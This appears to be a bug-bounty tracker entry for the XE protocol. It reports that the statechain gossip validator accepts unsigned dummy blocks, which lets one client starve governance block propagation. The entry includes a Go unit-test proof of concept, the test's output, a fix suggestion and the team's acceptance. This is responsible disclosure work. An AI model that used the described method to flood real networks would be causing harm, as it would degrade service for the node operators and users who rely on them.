{"id":"XE-0031","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"45","source_url":"https://github.com/xeprotocol/xe/issues/45","reporter_id":13,"title":"net: statechain gossip validator accepts any 64 hex hash with a non-empty signature list; one client can starve governance propagation (High)","area":"p2p-sync","claimed_tier":"high","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:16.732928+00:00","updated_at":"2026-11-10T11:38:17.103353+00:00","source_created_at":"2026-10-25T11:12:04+00:00","told_at":"2026-11-10T00:15:26+00:00","status_changed_at":"2026-10-29T14:04:12.258128+00:00","url":"https://bounty.xe.network/XE-0031","body":"## Summary\nThe gossipsub validator for the statechain topic checks only that the block hash is 64 hex characters and that the Signatures slice is non-empty. A dummy block with Signatures set to a list containing one empty object passes validation and is forwarded mesh wide. The subscriber channel is 16 deep and drops on overflow, so an attacker holding validation acceptance can keep every node's statechain channel full and real DAO blocks hit the drop path.\n\n## Affected component\nnet/gossip_validate.go, stateChainValidator at lines 123 to 140, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Subscribe channel of 16 with drop-on-full at net/gossip.go lines 333 to 364. The signature and hash checks that matter run later in statechain.Chain.AddBlock (chain.go lines 110 and 190 to 196), so this is propagation starvation, not an unsigned commit.\n\n## Impact\nOne client, matching the public genesis network id, can publish dummy statechain blocks up to the gossip message size limit and starve real governance block propagation on every node in the mesh. Dummy bodies are still rejected at AddBlock, so no forged state change lands. No PoW gate exists on this topic, unlike the block topic.\n\nSuggested severity: High (degradation one client can cause). Confirmed by read-only source review.\n\n## PoC\n\nSetup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f6_test.go` (it joins the package's own test build), then:\n\n```\nGOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F6 ./net\n```\n\n**Test file** (`net/poc_f6_test.go`):\n\n```go\npackage net\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\tpubsub \"github.com/libp2p/go-libp2p-pubsub\"\n\tpb \"github.com/libp2p/go-libp2p-pubsub/pb\"\n\t\"github.com/libp2p/go-libp2p/core/peer\"\n\n\t\"github.com/xeprotocol/xe/statechain\"\n)\n\n// TestPoC_F6 calls stateChainValidator on a dummy body: 64 hex chars and a\n// non-empty Signatures slice, no hash or DAO/oracle signature check.\nfunc TestPoC_F6(t *testing.T) {\n\tpass, detail := runF6()\n\tif pass {\n\t\tfmt.Println(\"PASS: F6 state-chain gossip accepts a dummy hash+Signatures=[{}] body\")\n\t\tfmt.Println(detail)\n\t\treturn\n\t}\n\tfmt.Println(\"FAIL: F6 expected ValidationAccept for an unsigned dummy state-chain block\")\n\tfmt.Println(detail)\n\tos.Exit(0)\n}\n\nfunc runF6() (bool, string) {\n\tv := stateChainValidator()\n\tdummy := &statechain.Block{\n\t\tHash:       \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n\t\tSignatures: []statechain.BlockSignature{{}},\n\t}\n\tdata, err := json.Marshal(StateChainMsg{Block: dummy})\n\tif err != nil {\n\t\treturn false, \"marshal: \" + err.Error()\n\t}\n\tgot := v(context.Background(), peer.ID(\"\"), &pubsub.Message{Message: &pb.Message{Data: data}})\n\n\temptySig := &statechain.Block{\n\t\tHash: dummy.Hash,\n\t}\n\temptyData, _ := json.Marshal(StateChainMsg{Block: emptySig})\n\trejectEmpty := v(context.Background(), peer.ID(\"\"), &pubsub.Message{Message: &pb.Message{Data: emptyData}})\n\n\tdetail := fmt.Sprintf(\n\t\t\"dummy json=%s\n\"+\n\t\t\t\"stateChainValidator dummy Signatures=[{}] result=%v (ValidationAccept=%v)\n\"+\n\t\t\t\"control empty Signatures result=%v (ValidationReject=%v)\",\n\t\tstring(data), got, pubsub.ValidationAccept, rejectEmpty, pubsub.ValidationReject,\n\t)\n\tok := got == pubsub.ValidationAccept && rejectEmpty == pubsub.ValidationReject\n\treturn ok, detail\n}\n```\n\n## Fix suggestion\nMove the full hash and DAO or oracle multisig verification into the gossip validator (it is cheap), or at minimum check the hash binding and first signature before returning ValidationAccept.\n\n**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):\n\n```\n=== RUN   TestPoC_F6\nPASS: F6 state-chain gossip accepts a dummy hash+Signatures=[{}] body\ndummy json={\"block\":{\"index\":0,\"prev_hash\":\"\",\"ops\":null,\"signatures\":[{\"public_key\":\"\",\"signature\":\"\"}],\"hash\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"timestamp\":0}}\nstateChainValidator dummy Signatures=[{}] result=0 (ValidationAccept=0)\ncontrol empty Signatures result=1 (ValidationReject=1)\n--- PASS: TestPoC_F6 (0.00s)\nPASS\nok  \tgithub.com/xeprotocol/xe/net\t0.016s\n```","patch_refs":[{"id":162,"repo":"xeprotocol/xe","kind":"pr","ref":"143","title":"fix(net,statechain): verify block hash and signatures in statechain gossip (#45)","url":"https://github.com/xeprotocol/xe/pull/143","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":1556,"source":"github","source_ref":"6755087829","author":"XE desk","team":true,"body":"Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is\nupdated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0031.","created_at":"2026-11-10T00:15:26+00:00"}]}